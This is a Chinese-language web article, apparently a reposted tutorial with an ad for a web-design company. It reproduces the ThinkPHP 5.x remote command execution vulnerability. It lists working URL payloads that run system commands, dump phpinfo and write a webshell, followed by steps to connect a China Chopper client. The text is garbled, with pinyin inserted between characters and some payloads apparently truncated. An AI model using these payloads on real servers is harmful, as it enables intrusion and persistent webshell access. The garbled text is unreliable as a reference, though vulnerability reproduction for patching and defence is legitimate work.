本篇文章為大家展示了怎么在ThinkPHP 5.x中通過遠程命令執(zhí)行漏洞復現(xiàn),內(nèi)容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。
網(wǎng)站建設哪家好,找創(chuàng)新互聯(lián)!專注于網(wǎng)頁設計、網(wǎng)站建設、微信開發(fā)、重慶小程序開發(fā)、集團企業(yè)網(wǎng)站建設等服務項目。為回饋新老客戶創(chuàng)新互聯(lián)還提供了鹽亭免費建站歡迎大家使用!一、漏洞描述
漏洞的原因是由于框架對控制器名沒有進行足夠的檢測,導致在沒有開啟強制路由(默認未開啟)的情況下可能導致遠程代碼執(zhí)行,受影響的版本包括5.0和5.1。
二、漏洞影響版本
Thinkphp 5.x-Thinkphp 5.1.31
Thinkphp 5.0.x<=5.0.23
三、漏洞復現(xiàn)
1、官網(wǎng)下載Thinkphp 5.0.22,下載地址: http://www.thinkphp.cn/donate/download/id/1260.html
2、使用phpstudy搭建環(huán)境,解壓下載的Thinkphp5.0.22到網(wǎng)站目錄下,瀏覽器訪問http://192.168.10.171/thinkphp5.0.22/public
3、利用system函數(shù)遠程命令執(zhí)行
Payload如下:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
4、通過phpinfo函數(shù)查看phpinfo()的信息
Payload如下:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
5、寫入shell
Payload如下:
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^ >shell.php
注意:需要對特殊字符使用^轉(zhuǎn)義(cmd環(huán)境下轉(zhuǎn)義方式),windows環(huán)境的echo命令輸出字符串到文檔不用引號(單引號、雙引號),部分字符url編碼不編碼都行。
6、查看是否成功寫入shell
7、菜刀連接
8、第二種的寫入shell的方法
Payload如下:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=
9、查看是否成功寫入文件
10、菜刀連接
thinkphp屬于一種免費的開發(fā)框架,能夠用于開發(fā)前端網(wǎng)頁,最早thinkphp是為了簡化開發(fā)而產(chǎn)生的,thinkphp同時也是遵循Apache2協(xié)議,最初是從Struts演變過來,也把國外一些好的框架模式進行利用,使用面向?qū)ο蟮拈_發(fā)結(jié)構(gòu),兼容了很多標簽庫等模式,它能夠更方便和快捷的開發(fā)和部署應用,當然不僅僅是企業(yè)級應用,任何php應用開發(fā)都可以從thinkphp的簡單、兼容和快速的特性中受益。
上述內(nèi)容就是怎么在ThinkPHP 5.x中通過遠程命令執(zhí)行漏洞復現(xiàn),你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。